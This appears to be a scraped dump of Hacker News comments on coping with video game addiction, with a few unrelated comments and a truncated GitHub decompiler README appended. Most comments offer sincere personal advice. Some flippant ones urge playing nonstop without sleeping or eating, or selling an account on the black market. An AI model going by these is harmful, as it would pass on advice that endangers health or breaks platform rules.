game.I realize this might not answer your question at all, but I\u2019ve been itching to share this story to a while. I told myself I should write a blog post about this, but there are so many fine details that I\u2019ll leave out of this comment that it will take some commitment for a full write-up.Anyways, it took loads of time and energy to manage the people, ensure resources were properly distributed, and formulate ways to create internal conflicts within the organization to weed out those who did not reciprocate. I was young and didn\u2019t really think how much of a jerk I was being, but I realize that now.At a certain point I realized I had a significant addiction. Maybe it was the game, but it was probably the power I had in the organization. I tried cutting the activity out of my life, but that just left a gaping void in my life. This wasn\u2019t a substance addiction where I was losing friends or making life effecting choices (other than the amount of time I didn\u2019t spend on studies or a job). It felt like the more time and energy I spent in this role, the more my social bubble grew, and the more respect I gained from the admins of the server. There was a lot of politics, a lot of time spent protecting the image of the organization, and even some clandestine operations where my organization would, at the request of certain admins, target other groups who were blatantly breaking the rules, and rejoining after a few hours (or however long it took for their ISP to change their IP) under different names.Granted my organization did not always follow the rules, I always made a thorough attempt at explaining the actions of our members, and made concerted efforts to appeal to the public (of the server) why our actions were justified. We had what we called a \u201clegal department\u201d which would direct accused members to remain quite during reports on the forums and let us handle the communications.From this experience I learned a great deal about how to handle conflicts, how to operate just within the confines of regulations, and (probably the most enriching part) communicating with people who spoke very little English. Also made some great friends along the way that I still talk to on-and-off to this day.All in all it was a really significant learning experience for me. I eventually started a media blog with one of my in-person friends, and had a huge international marketing base to generate the first thousand or so clicks from. I also learned a thing or two about workplace politics, in that (sometimes) it\u2019s better to bring your issues to those above the issue. Other times it\u2019s best to remain quiet and do what you know works. Some other things I learned was that there is always someone with more power than you (server admins, your bosses boss) and that you should probably show a little respect to that person (whether or not you actually respect them). One of my biggest take-aways from this experience is that if you keep working at something, no matter how badly you think you are doing at it, you\u2019ll eventually look back and say \u201chey, I did that!\u201d.Best of luck to you, addiction is something many people struggle with in many different ways. I think that acknowledging that there might be an issue is a huge step in the right direction.Who knows, you might find yourself looking back years from now in appreciation of all the time you \u201cwasted\u201d playing a video games, in some strange way.(Please excuse any typos or incorrect grammar, I wrote this haste-fully(?) between calls.)P.S. \u201cDMH 4 Lyfe\u201d :)<HN_SEP>Part joke part truth: become a game developer. Since I started to make games I spend much less time playing them. Also sometimes I just have to play more diverse set of games to use them reference for my game design job.Okay now here is serious note.> Is it possible to have a \"healthy\" amount of playing?Talking from experience - even without taking real drugs into account it's certainly possible to get \"unhealthy\" amount of anything: reading or listening books / podcasts, or digging into Linux, or even swimming.Instead of \"fighting\" some \"gaming addiction\" you need to try find other interests be it front of PC and in real life. Make it a goal to find something else that also make you happy be it books, DIY, sport or social danding.Once you have healthy number of interests other than games then not wasting all your life on single thing become so much easier. My personal take on issue of addiction is super simple:1 - First of all I have a queue of all interesting things I wish to do: films, series, anime, books, podcasts and games. And I add things to this queue once I find something that make me curious.2 - Also I have a rule to go and check some new things from said queue so I don't stick to one single thing for way too long.3 - And when it's come to games I also try to honestly ask myself \"Am I really enjoying every second of it?\" Because some games specifically design to take you into grinding and enjoyment-frustration loop. So why continue to play if game no longer make you feel good?I understand that some people might have worse problems with self-control than I, but I hope this small piece of my own experience will help someone!<HN_SEP>I have the exact opposite problem. I own at least a dozen game consoles and a gaming PC, and have a huge attach rate for all of them. Games look fun and interesting to me, I watch reviews and follow industry news and get hyped for new games etc, but I spend very little time actually playing them. I rarely spend more than 60 minutes playing a game before I get this weird mix of boredom and anxiety, like the contrivance of the game becomes highly apparent and I feel like I should be doing something else. Despite owning literally hundreds of games, I can count the number of games I've beat/completed on both my hands. I'm nearly 40, married with kids, but this behavior dates back to when I was a youth/teen and had loads of free time.<HN_SEP>> Gambling disorder is the only behavioral addiction (as opposed to substance use) identified in DSM-5.There is no such thing as video game addition. Video games do not directly hijack the substrates your brain uses for calculating motivation and interest. It's just another stimuli coming in through your normal senses. There is nothing magical, good or bad, about stimuli on screens.<HN_SEP>I went through this cycle a couple of times with a mobile game.I did something very similar, steadily played more and more, got more competitive and ended up dedicating way too much time and money to it.Similarly the only way I managed to quit the first time was by quitting everything. Discord, uninstalling the game.At the point I quit I actually had to make a decision - go along to the local chess club for the first time to try and make some real friends in the town where I'd moved to, or play a competitive game with my game team. I picked the chess club and I'm glad I did.I even went back to the game after about 6 months, through one friend I made. I got very competitive again and won the lower tier of the biggest competition they created in the game (our team got something like 900 euros of in-game prizes).However again it got too much and again the only way out was cold-turkey.Personally for me there is no 'healthy' amount - and your personality sounds similar. Plus with these competitive games they make it so that there is no healthy amount, if you want to compete you have to spend lots of money or invest unhealthy amounts of time.I've stopped completely now, I occasionally chat to my old team - they're still playing. It was a useful escape during a pretty depressing time.In the end I value the friends I made, which I don't think I would have made any other way, but I'm glad I've stopped.<HN_SEP>Step one is to be OK with mediocrity.  When you pick up a game, you need to be willing to accept that you just don't need to be the best at it.  If you can't accept this for competitive multiplayer games, you just need to find a non-competitive game.  If you can't do this even for non-competitive games (this has been known to happen in the speedrunning community), then video games just might not be the hobby for you.You can strive to improve, but you need to measure yourself relative to yourself alone.  The best players of any game (whether it be the latest MOBA, a traditional game like chess, or even a physical sport like golf) put far more time into it than would be healthy for a non-professional.  Even the average player that you play against likely puts more time into it than you should, because addicted people will play a disproportionate number of games.If you can accept that you're not going to be the best, and just compare this game to your last one, that's the first step.  The next (but not final) step is just good old-fashioned time management.  You can get better advice on that from elsewhere, but it's important to have a system.<HN_SEP>Not sure if this helps. Before you were born I wanted to become a game developer. But I found both games and (primitive versions of) social media to be so addictive that I went into another area and avoided games and social media for the next 25 years. I have tried to get into games since then b/c I have more time, but the spell has been broken.<HN_SEP>I avoid immersive games entirely because I can lose days to them.Avoiding at source is not the only way to manage a willpower problem but it is the most decisive.<HN_SEP>I felt my interest in gaming pretty much wane out the last few years. IMO what had happened was my communities of the games I was really invested in just died, because the games were a few years old at that point. By dead I mean the masses have left it, and what's left are the handful of pros in a clan who hop together on a single team and just stomp anyone stupid enough to join the brutally unbalanced server. Fun for them, sucked for me, so I lost interest in those games.My single player games too I just ran out of stuff to do. You can only replay skyrim so many times, and nothing released since seems even half as good as skyrim. I couldn't even get into fallout 4 because I was ruined from the expectations set in new vegas. Elden ring seems like its there but I suck at souls games and I'm not looking to become a masochist.My advice if you really want to long term get out of video games is to just let your collection grow stale. You will grow tired of the games you have and find some other things to do that eat up your time. With nothing new coming in hopefully you find yourself unfettered from video games at least eventually.In the end I find that its really not video games but some deeper self discipline issue, since I can get into that 'flow state' you describe in a video game or on discussion forums even endlessly looking at stuff on ebay. I can easily fixate on just about anything.<HN_SEP>Funny that you post this. I'm having the EXACT same issue and the way I decided to handle it is it restrict myself to weekends. Usually, I would do exactly what you did. Uninstall everything, unsubscribe, etc. I feel like I'm an extreme person so whenever I do something I go all in.Same issue as you, ladder really made me want to play. I was top 11 in NA and in terms of my rank I was top 0.01%. People in the game would always invite me and constantly want to play with me. It's super rewarding being super good at something.The issue is, with these competitive games, is that they take everything away from you and make your life unbalanced. I don't have an answer from you, apart from quitting entirely seemed like the wrong approach to me. At the end of the day, you're playing the game for a reason, it brings you joy in some way, and this week of not playing taught me that I love everything else in life and I also want to continue to play competitively, it just needs to be balanced (so weekends only.)If weekends only lead to me also playing throughout the week, then I'm going to cut it off entirely, but for now, I think a balanced approach is best.Thinking about why I play really helped me and not playing during the week reminded me of why I love the game and hate the game at the same time. I hate the game because everything in my life is better right now, work, relationship, body, stress levels, etc. You would be surprised how much energy your mind exerts being the best at a game.The reason I love the game reminds me that life is so boring sometimes, I was just watching random YouTube videos and such as they're nothing compared to being the top 0.01% of a game. The ups, the downs, the competitiveness, the feeling of finally getting to the top of the game is unreal. The fact that the game just takes you out of reality, no thinking about work stresses, relationship stresses, it's just all magically gone. Your mind is just on a 1 way track to winning in the game. Amazing. Life is so short, sometimes it's great to get away.I don't have an answer for you really, we're in the same spot. I hope we find a balance between playing our games and living our lives. Harmony. It's the only way, or you're sacrificing something :)<HN_SEP>    > Is it possible to have a \"healthy\" amount of playing?\n\nYes, it is but for some of us it isn't.I can't do it. I've been trying for years. I don't consider myself a gamer as I don't play games for a hobby like most people. I see games coming out and I'm not interested in them, gaming per se doesn't interest me but let me tell you something, there are a few games that I would play 24/7.So what do I do? No matter what I don't play them. Well, actually I do but not alone, only with friends. If I can't coop with someone I don't play. This is tricky too because if you have many friends playing at all hour you'll find someone to play with, so keep your number of gaming buddies low. Play with your wife a couple times a week, have fun, enjoy yourselves, then leave the game until the next time.<HN_SEP>I'm late 40s gamer, and been through a lot of this.  My key to this, is pretty much only playing games that have defined endings.  Keeps me away from MMOs, and FPS shooters with seasonal/ladder systems.  This has helped a lot.  I occasionally relapse but I'm very mindful of it, since I've been in the grip of EVE addiction so badly haha.  best of luck<HN_SEP>We lock the vehicles and hide the access devices while video and home automation logs anyone going into the garage and their duration.<HN_SEP>Hey! Founder of The Ultimate Video Game Addiction Course [0], I've coached people through it, and about a decade ago I wracked up several thousand hours myself.It's a really difficult issue to experience and the fact that you can face it and start to solve it is a huge step. Kudos to you.Yes it's possible to play in moderation - I play poker and chess with friends. That said, I do my best to cut off anything if I see the warning signs of slipping back into bad habits.Be VERY careful about watching games online - it's usually a powerful trigger.For a few tactical pieces of advice for anyone who isn't \"clean\" yet:- Changing the wiring in your brain takes time. Do your best to build new habits away from gaming each day, but know that it's unlikely to happen all at once.- Take note of triggers (people, times of day, locations) and do what you can to remove them from your environment.- Remove access as much as you can. If you can't do it all at once, set yourself smaller (regular) goals like being off of games for 30 mins, or for 4 hours, or for 1 day once per week. Eventually I did 1 year without a smartphone or a computer that could play games, and it really helped reset.- You need to replace friends and activities you had with new ones outside of gaming. This takes a fair amount of work and time, but it's worth it. Self-improvement is a great area to focus on as it can give you the same sense of progression as games, and you'll meet great people. I also recommend team sports.- Have a long hard look at anything that could be causing this escapism - it could be big and obvious, it could be subtle like a nagging stress from work, a mild existential anxiety, or one of a million other things. Journalling helps uncover this sort of thing.- Embrace boredom. After the initial discomfort, you'll realise the boredom is not the worst thing in the world.[0]: https://www.udemy.com/course/healthy-gaming/learn/?referralC...<HN_SEP>Very easy\u2026 stop playing competitive multiplayer games or games based on random loots. Those games are tailored to trigger addiction! I am an avid gamer (finished last week Elden ring in 90h) but I never play multiplayer games\u2026 I don\u2019t like them\u2026 I am not competitive at all, what I look for in games is an adventure!<HN_SEP>Bought a Mac.<HN_SEP>I'm not a psychologist but my understanding is that addiction and destructive habits usually have a deeper underlying cause. Gaming itself is not a problem of course but excessive gaming is.Perhaps instead of tackling it head on, it would be valuable to observe the problem and ask yourself \"what could be causing this?\" are you using games to fill a void? Perhaps there is a romantic/professional issue that you don't want to deal with? Maybe you are struggling financially? Of course I won't pretend to know but you this could be an interesting psychological exercise..My point is that, if you want to change your behavior, you need to grasp two important points:1. We can \"hack\" our brains  \n2. Very few of our traits are \"permanent\", thus it is futile to \"label\" oneself.I've personally used the above to change many of my own habits: improving my social skills, improving my relationships, learning to exercise, etc. We often forget that we are incredibly adaptable creatures.I highly recommend that you checkout https://fs.blog/mental-models/ regarding various mental models, it could be a great starting point for you.The last thing I will remind you is: be kind and patient with yourself because change happens slowly!<HN_SEP>Which game is it?<HN_SEP>I have a similar thing, if I install a particular game I tend to play a bit too much, then uninstall and won't play for awhile; and reinstalling it takes several hours on my lousy internet connection.I do play a healthy amount of another game, but tend to play with my siblings and it is more about the social aspect rather than the game itself.I agree that filling the time with something better is important, and to stick to a particular amount of time with a game. The \"just one more match\" syndrome is real, and can create issues.<HN_SEP>Married, Adult Children, 40's, Life long gamerSo my yearly hours spent gaming would probably be double yours as it is the primary recreation activity for both my wife and I. We game together most nights and when we aren't gaming together we are likely gaming separate.My first suggestion would be to game with your SO, games are social activities. Warped perceptions aside there is nothing wrong with engaging in virtual social activities. Granted not everyone's SO will want to game.Second, like me it sounds like you may have an addictive / competitive personality. Bad news there are a number of gaming genres that are designed to take advantage of you. Just like some people can go to a casino with $200 spend it and leave some people can't. Games with ladders, brackets, dailies and other FOMO based engagement tactics may just be off the table. Good news there are a wealth of games that don't try and exploit their players psychology to drive engagement. Many of these are single and double A games but I haven't run out of non AAA non Live Service games to try. I had a spell where I played a bunch of mobile clickey games and realized it wasn't fun; it was compulsion. I was logging in resetting timers and getting a dopamine hit. I just had to decide to not engage anymore.Three, leisure is not irrelevant. mental health has strong ties to physical health and well being beyond just being good for you. Spending an hour focused on a game isn't irrelevant if you come out the other side rested, refreshed, unwound, etc. I play games like Oxygen Not Included where I spend hours building little irrelevant machines and systems but it clears my mind, relaxes me and allows me to focus on other things later.Four, maybe don't engage with YouTube and Twitch content for the game. You will never keep up with professionals. Even if you have the skill you don't have the time. Watching pro's can make you feel like you are playing wrong, you aren't good enough when in reality no one who isn't spending 8-12 hours a day will ever be that good. If you are having fun however you are playing is the right way. This is another FOMO trap. You won't be ninja, shroud, etc. be happy with what you are.My thoughts. YMMV<HN_SEP>If you really need to stop, use cheats.That will break the dopamine cycle and you\u2019ll be free.Maybe it also works to limit play time to healthy levels.For example, I was once playing quite a bit of WoW, and after I trying it out on an unofficial server where I could teleport anywhere made the game lose all its appeal.<HN_SEP>That \u201cflow state\u201d you describe is honestly the thing I seek out most when playing games. It\u2019s hard to find a game that generates the feeling for me, but once I do find one, I\u2019m in heaven. The most recent game that managed to do this for me was Elden Ring, and I love it for that.There is a fine line between addiction and simply enjoying a hobby. You need to identify where that is. We have a finite amount of time to work with in our lives, and how you allocate that is up to you. Once your hobbies start infringing on things you feel you should be prioritizing (e.g. friends, family, career), it\u2019s time to reevaluate how much time you spend with that hobby. It\u2019s entirely possible to have a healthy relationship with video games while still keeping up with your other obligations, you just need to be cognizant of your time.<HN_SEP>Dual boot windows and Linux with separate drives.  Lock your windows drive in a timelock safe and have it only open on Fridays or whenever you want it to open, biweekly even. Or Thursdays when you have a game session with your friends.When you get the urge to game you need to do one of:* install windows and games from scratch on a new drive* get gaming working on Linux(  good luck)* get an angle grinder to bust open the safe* drive to your friends house and get the backup physical keysWith these barriers, I almost never bust out the windows hard drive for gaming.I do the same thing with beer.This technique mostly works for me.--This is a psychological technique called \"pre-committing\".https://www.amazon.com/Genie-Hand-Time-Lock-Safe/dp/B00NFIDT...<HN_SEP>Did something similar here years ago with original Unreal Tournament. Spent up to 8 hours a day playing it on week days, 15-18 hours at weekends for two entire years. Just woke up one day, walked into the bathroom, stared at the mirror for about 5 minutes and asked myself what the hell I was doing. Waltzed into the bedroom where my PC was, uninstalled it and never played a game again. I think I was just \"done\" at that point.Within 18 months I got a new job, moved out of home, was married and had a child so go figure at what you're missing out on and go and do that instead.<HN_SEP>> Is it possible to have a \"healthy\" amount of playing? Let's say just a couple of hours in the weekends?Yes, depending on the individual. I relate to your story, and my advice to my past self, now that I've practice going longer without things I feel compelled to do (consuming alcohol, caffeine, mindlessly eating food to avoid emotions), is to intentionally (or accidentally, but that needs luck) take a break to unhook the brainstem and gain perspective. Sounds like you've done that (four months off). In my case, the urge to get lost in videogame-land is annual, and I'm able to enjoy gaming again, sometimes teetering on the brink of the event horizon, with the understanding that if I burn hot I'll burn out and move on. This happened recently; played intensely for a month, accepting the book will end and I'll be free again, and enjoying the journey, no regrets (except the twinge of \"I could have read so many books instead\", countered by \"my day job is so exhausting, this indulgence is maintenance-mode paving the way for growth\").Regarding feeling of flow, Blindboy spoke of it somewhat recently on his podcast (he also streams himself composing music while playing Red Dead Redemption 2, showing the audience his creative process and a healthier flow-state), noting that while videogames give us a sense of accomplishment it is too often a hollow one, far surpassed by creative flow. Minecraft and the like are exceptions, perhaps? I have enjoyable memories of the places I've made in that game.Setting barriers for myself, as you've done, has been helpful, but I may not respect myself enough to have the barriers be fully effective--if I'm not pausing and choosing my next steps wisely, I can easily fall in.It has taken me years to have the healthier view I have now, and I have a lot of work yet to do (not obligatory to improve, but the path helps me have a sense of meaning). Guidance from childhood friends, who I keep in touch with via games, has helped. For awhile I'd quit all videogames except for multiplayer with them, so it's a bit messy but we can talk about the challenges and our friendship is deeper than gaming, so that helps.Practicing breathing (inspired by Breath, by James Nestor) has helped me make better choices in the moment. Still a work in progress.Doing one thing at a time helps, too; sometimes I feel the pull of wanting to consume media while cleaning up after dinner, and I decide not to, and I thank myself for it afterwards.I hope this ramble helps. Good luck!<HN_SEP>What helped me to finally break my addiction is to sell my gaming account in black market for $.<HN_SEP>Personally I've blocked reddit on my pihole when I'm working and want to force myself to not get distracted (e.g., it's too easy to \"just check it for a minute\" while waiting for something to build or download, etc.).  Of course I'm here, but I find HN less addictive and tend to waste less time here.You may find doing something similar - block the main domain for your game at your router.  Of course it's easy to undo but it's yet another check that you place against yourself so you don't revert to old behaviors.If you find yourself getting into the same habits but playing/doing something else instead you should think about what is causing you to get into those habits.  Maybe talk to a therapist or someone else in your life for help.<HN_SEP>It's certainly possible to have a healthy relationship with video (or other) games. But a lot of online games do a lot of unhealthy hooks.Daily bonuses, Skinner box positive feedback, inflexible scheduled events that are 'important', etc.There can be a lot of socialization and community which can be a positive (although if many people in the group are making poor life choices, I dunno).All that said, I prefer offline games where there's still a motivation to improve skills to do better, and sometimes a grind to get better equipment/more levels, but if it gets too grindy, it feels like work and I stop. Sometimes, I stay up too late and have a disagreeable day the next day, and that inspires me to be stronger about stopping at a reasonable time for the next session. And there's no penalty for waiting until I catch up on sleep before I play again.<HN_SEP>You can totally have a healthy amount of playing. But it sounds like you're treating the whole endeavor of video gaming as if it is an addiction just from the start which in turn makes it an addicting activity to you. Just the way you phrase the beginning of your story where you would stop when your wife wasn't home but then you didn't care anymore and then you kept doing it when she was home. That's shame or something. It's just an activity it's just a game. Why not just play the game when you want to have fun? Spend time with your wife have fun with your wife make love with your wife if your wife is so important do things with your wife. You have a whole life. Video games are for fun and entertainment.<HN_SEP>AFAIK, video game systems often have parental controls. You could get your wife to set it up. For my kids, we use a combination of parental controls and reminding them to setup and respect their own timers to get them into the habit of being mindful of screen time limits.My oldest still thinks about and wants to talk about games a lot while not playing, but he's gotten used to video game time limits and can spend his time in other activities without fuss.<HN_SEP>It is possible. Civ 5 had an option to display game-play time. This was all I needed to avoid really long sessions. It would be great if all games had this option, as most games go full-screen obscuring the system clock.The alternative is to put a physical clock where you can see it by only shifting your eyes.That said, I don't play games anymore. If I did try them again, I would want a visible clock.<HN_SEP>I cold-turkey quit multiplayer games in my late 20s because I just can't control myself. I think it's the only real option in this case.Ideally you can find other things that bring you fulfillment which is easier said than done. I discovered that I could completely ween off gaming and Netflix by cycling between audiobooks and podcasts while I go for a walk or run. Sometimes I'll be gone for hours, and I'm quite happy with the habit because every part of it works towards my goals in life: learning new things and staying in shape. Meanwhile gaming worked against all my life ambitions: sitting for hours, credentializing in a system that brings me no lasting fulfillment.Your post reminds me of what I went through when I decided to quit multiplayer gaming. After a few months I started asking myself if I could just do it a little bit instead of letting it consume me. But I think it was just my addicted side trying to justify giving it another shot. You might be doing that here.Good luck.<HN_SEP>Just sell your PC and buy a Mac.<HN_SEP>There is often an overlap with this issue and undiagnosed ND conditions such as ASD or ADHD.  It may be worth investigating.<HN_SEP>I have had this issue. I found a game and played straight for a month, almost all day and I wasted so much time and lost opportunities that I sold all my in game resources and did what you did, canceled and uninstalled everything.I was good until a couple weeks ago. (I had almost 10 years of staying away) And I have found my self control is greatly enhanced, but also maybe because I truly care more about time with my wife and family. I have had a few late nights where I over did it, but I am very close to uninstalling it again because of this.I am a big believer in \"I am the problem\" viewpoint, so if it's not a game it will be something else, and I need to change me, not the activity. I think this applies to all inherently non-destructive activities that people get addicted to. (ie, watching tv isn't destructive a little at a time, but binge watching for days straight is...)<HN_SEP>I feel like if you put 2000 hours into anything you'll be able to get into flow states with it.  Seems like a \"right brain\" feeling-reaction loop than a \"left brain\" thinking-evaluating loop.Find a skill you want to build and track the hours you spend doing it.  If you don't think you'll get there after 500, try something else.<HN_SEP>Find a sport. Basketball, tennis, raquetball, cycling... anything you can do with a friend. Go ahead and get addicted to it. The biggest challenge is finding a friend. You can try meetup.com<HN_SEP>I would say you can't play that game anymore. You were obviously getting something out of that game, so you need to find a replacement for that, that is less addicting. You said you like the flow state it gives you so  you could focus that energy on something else,  a side project, wood working, chess,read a book, or even another video game.I wouldn't call relaxing a \"waste of time\", but too much of a good thing can be a bad thing. The amount of physiological warfare waged against our attention span in this age is not something humans are built for, so cut yourself some slack.<HN_SEP>Which game, by the way?A friend of mine managed to quit by selling his PC computer. He found that being unable to play was the only way to be sure, and that it's easier to sell a PC than it is to not install the game or not play.Not sure if this is good advice or not.<HN_SEP>I was like that with the Civilization games; whenever I installed one I always ended up playing until dawn. For some reason they hook like no other game. Eventually I learned to uninstall it and leave it uninstalled. Too dangerous. Even engaging with content about the game is dangerous, as you found out.There are plenty of other games to play that are still fun and won't be as addictive though. You could try a different multiplayer game or even stick to single player games if that's too much.<HN_SEP>The cliche responses, but.. Sports offer similar flow states,. but do require some effort to get to that point. Additional bonus is you get fit and meet people as well . Personally I surf, run, bike, but other good ones are rock climbing, martial arts, cross fit .. it's never too late to start (but injuries do start accumulating on some of the more intensive ones after 40)<HN_SEP>Probably doesn't help, but for me, just plain being bad at games has definitely  saved me (ish) from this kind of addiction cycle, even though they interest me a lot.<HN_SEP>I can only recount my experience with FFXI, which in its original form was designed to be a tremendous time sink. It was hard an unforgiving and the amount time spent there was measured in years for me. I stopped when I noticed I basically cut off just about everything else in my life and I started to call in sick to camp specific mobs.It is a different kind of addiction. It is psychological and, in a sense, a lot harder to break as the social component keeps you there.What worked for me is just realizing that I can't go on like this forever and a cut off was necessary. I am not sure it is healthy, but I still participate in some events for other MMO type games ( races in POE for example ). It is hard, competitive and since I am not a top player, I end up satisfying my jonesing for a while. I guess I like punishment.That said, the older I get, the more I see games as a distraction. I don't think it is a waste, as I do remember that distraction got me through some tough moments in life, but.. there is a time and place for everything.In short, I can't really give a generic advice. People are different. See what works for you.As an anecdote, I logged into my old FFXI account last year out of boredom. It was no longer the same. All the friends have moved on, difficulty and system changed beyond what I found acceptable; it was a nostalgia trip. I played for a week or so and I never renewed since.<HN_SEP>By believing that Dark souls (the first one) is an unrepeatable masterpiece and not liking any other game (except hollow knight)And then feeling tired of finishing it more than 5 times and being unable to play it again.<HN_SEP>If you self-admit it was an unhealthy habit, then I'd be cautious about going back to it. Addiction is not something a person should be willing to edge into, and if you think it's an addictive behaviour, then it probably is. Definitely make sure it is not affecting your marriage or job, that would be a key metric to know for sure if it's an addition and not just a source of entertainment.<HN_SEP>What's the game?<HN_SEP>I can't handle those sorts of skill/ladder games. They demand too much time to keep up your skill and are clearly addicting. Personally I've found music to play a similar role in bringing that \"flow state\". Find a practical hobby where your time and effort result in something material rather than digital AND has the added benefit of being sharable with others.I still enjoy videogames but I essentially only play:  - In person co-op games with friends (smash, mario kart, etc.)\n  - Challenging single player games (souls-like) where I set a timer somewhere between 30-60 minutes and force myself to stop at the end.<HN_SEP>I\u2019m 34, love gaming, and have been married for 12 years with 3 kids. \u201cHealthy\u201d amount of play is playing as much as you want as long as your on track in accomplishing your short and long term goals.In addition, you need to make sure your wife\u2019s expectations are being met daily. My wife lets me spend my time however I want as long as I\u2019m clearly communicating my efforts in meeting her expectations, both in the short and long term.<HN_SEP>I think some games are healthier than others. Something like Baldur's Gate 1 lets you have a full session within one hour, whereas for many recent games, 2 hours might be the minimum dose to enjoy yourself. I'm very annoyed at how many games require several hours to get through the filler of walking from one city to another.<HN_SEP>Playing video game is truly fun, as long as you don't have the tendency to be addicted to it. Now that you've set yourself free, I suggest you never go back. But if you're 100% sure you can control yourself, why not. You can play once a week just so you can relax and entertain yourself.I should understand so because I was also hooked into watching movies and TV series during lockdown. After that, I need to get back to my working routine and stay productive.So good luck Volrath89!<HN_SEP>Game addiction is a multi-year struggle for me that comes and goes. At one point I even set limits for myself using Blizzard's excellent parental controls, but even then I found myself disabling them when I was convinced that I just deserved 'a little bit more' gaming to offset a hard day, and then would forget to re-enable them again. I recently deliberately locked myself out of my Steam account, by changing the password to a random string and giving that to my partner to keep safe. So far that's worked: I haven't just gone and found another non-Steam game to play. But we'll see how long it lasts.I totally identify with what you say about being able to focus on the game to the exclusion of everything else. The world is difficult to cope with, and games are beautifully, seductively, easy.Congratulations on your four months clean. I hope that you find something else in life that provides the same flow state, but without the addiction.<HN_SEP>What games you play?<HN_SEP>You should check out Gabor Mate (there are many good interviews on youtube) to understand the nature of addicting, especially as it pertains to things beyond drugs and alcohol. The high level summary is that addiction is usually less about the specific vice than it is a tool that helps you disconnect and find relief from inner turmoil and/or anxiety. The best thing you can do is to let yourself become open and curious about yourself and what you're going through from a holistic point of view, and then think about how you want to heal.<HN_SEP>Install the games inside a Qemu virtual machine. Put the VM file inside an external drive, connect it only Thursday nightsMaybe start a new game. All games that I play over and over, alone, similar matches, like CS, I just uninstall it. And try something newMaybe a different style, puzzle like Portal, Talos... Or open world like Valheim, or Raft, great to relax. Sea of thieves 50% at the moment<HN_SEP>>According to Steam I played over 2.000 hours during 2020 and 2021.Less than three hours a day for passive recreation is hardly out of line with modern western lifestyles. The average American spends more than that watching television.https://www.usnews.com/news/best-states/articles/2021-07-22/...I obviously wouldn't want to deter anybody from productive work in favor of entertainment, but physical and mental rest is a biological necessity. Don't feel bad for kicking back if it's just a couple of hours a day.<HN_SEP>Have you ever been evaluated for ADHD? I'm not a specialist, nor does your post have anywhere near enough info for me to judge, but your second to last paragraph especially sent up some flags for me so I thought I'd mention it<HN_SEP>I gamified \"real life\" by using task tracking apps like Todoist. The dopamine hit from completing a real task was like that given by completing a quest in a game. Completed changed my relationship with gaming to a much healthier one.<HN_SEP>Age. I'm hardly interested in casuality and flatness of game narration, so there is only few games I can occasionally really enjoy to play.I finished Cyberpunk 2077 last week. Story is interesting, but gameplay is meh. That forces me to focus on main story and don't waste my time with looting, exploring, killing NPC's, etc.If ther is no story, I'm not interested at all.Btw, I buy only DRM free games on GoG, so that also gives you some limits.<HN_SEP>You need something to kill time. You may not like my answer. But how about having kids?You won\u2019t have time to play video games (or your wife will beat you up) for decades if they keep coming. Then you will be too old to play/care about games.<HN_SEP>Sounds like Dota.Dota was a serious addiction of mine. What helped me quit was getting rid of EVERYTHING that could trigger me to play.- Uninstalling Steam\n- Deleting twitch account\n- Every time youtube would recommend me a dota video, I would mark it as \"not interested\" and \"dont show this channel again\"\n- Getting rid of my mouse. I gave my mouse to someone for a month for safekeeping. \n- Finding another stimuli that you deem less damaging. For me this was chess.Video games can cause extreme addiction I know, but successfully quitting it is SO REWARDING. After almost 18 month I do not miss it even a little bit.What also could help is telling everyone you know friends and family that you are quitting this game. Then you will be less inclined to fail because they will know about your failure. Try to not be alone in this journey.Good luck.<HN_SEP>I agree with using cheats as a way to get rid of addiction.You can see that what you depend on is just a number.I was able to get rid of game addiction this way too.<HN_SEP>Ive heard some people go as far using naltrexone, an anti-addiction medication for this.Does anyone know anyone who actually did this?<HN_SEP>Its totally possible to avoid video game addition, I casually play videogames, and have been in places in my life where I played in excess, but usually that came with avoiding parts of my life. So I say \"Ask yourself why you might be playing to the exclusion of your life outside of the videogame and see if you can find other ways to enrich your time.\"It reads like you are looking for something more exciting in your life, not that you are looking to zone out into a \"flow state\" for hours of gaming. Maybe start there.<HN_SEP>What worked for me to quit an addictive game was to educate myself on the dark patterns that games use to make us addicted. Knowing their tricks makes them less powerful (at least for me). I used my research into dark patterns in games to make a website about it. https://www.darkpattern.games/<HN_SEP>It took me a full two years of complete abstinence before I stopped feeling the pull.  It was a much more powerful addiction than I realized - leaving a gaping black hole in my life that seemed to suck the life right out of me.  It would come and go in powerful waves.  I decided that I needed to fill that hole with something or I wasn't going to make it.  So I took up studying Chess.  This appealed to my competitive nature, and felt enough like a video game that it helped reduce the pull somewhat.  Exercise was also instrumental.  I often get weird looks when people hear about my experience, but the fact is, my video game addiction was destroying me.<HN_SEP>Play 24/7, no sleeping, no eating until you get nauseated by it (or just bored).<HN_SEP>A few thoughts.1. You'll probably need a lawyer with the proper background to do this successfully.2. Did you Google anything or do any sort of independent research before asking this? \nhttp://www.google.com/search?How+to+ico+startup3. ...create a fancy lander with a lofty stated mission, draft out a whitepaper with a few nice graphics inserted to demonstrate to the public how your loft mission will be built out...a startup taking money from the public in the form of a currency which cannot be used to purchase anything.Read this aloud to yourself and tell me how this doesn't qualify as a scam.4. Have you tried coming up with a traditionally viable product idea or business plan or are you just looking for a get rich quick scheme? How much of your own blood and sweat have you put into your ideas? Or are you just looking to have engineers paid by others' money do all the work for you?<HN_SEP>As a white, male, non-veteran, non-disabled person, yes.However, I suspect that this may be a case where I am in the minority.<HN_SEP>No date announced yet, FTX18 in Chicago should be on your agenda> http://www.fintechchicago.com/If you aspire to a leadership role, an executive coach might be a smart play>  http://hbswk.hbs.edu/archive/4853.html<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "EiNSTeiN-/decompiler", "link": "https://github.com/EiNSTeiN-/decompiler", "tags": [], "stars": 506, "description": "A decompiler with multiple backend support, written in Python. Works with IDA and Capstone.", "lang": "Python", "repo_lang": "", "readme": "decompiler ![Build Status](https://api.travis-ci.org/EiNSTeiN-/decompiler.svg)\n==============\n\nA multi-backends decompiler written in python. It currently supports IDA and Capstone.\n\n### Usage with Capstone\n\nInstall [Capstone](http://capstone-engine.org/)'s Python bindings like followings:\n\n    $ sudo pip install capstone\n\nThen try out the decompiler:\n\n```python\nfrom capstone import *\nfrom decompiler import *\nfrom host import dis\nfrom output import c\n\n# Create a Capstone object, which will be used as disassembler\nmd = Cs(CS_ARCH_X86, CS_MODE_32)\n\n# Define a bunch of bytes to disassemble\ncode = 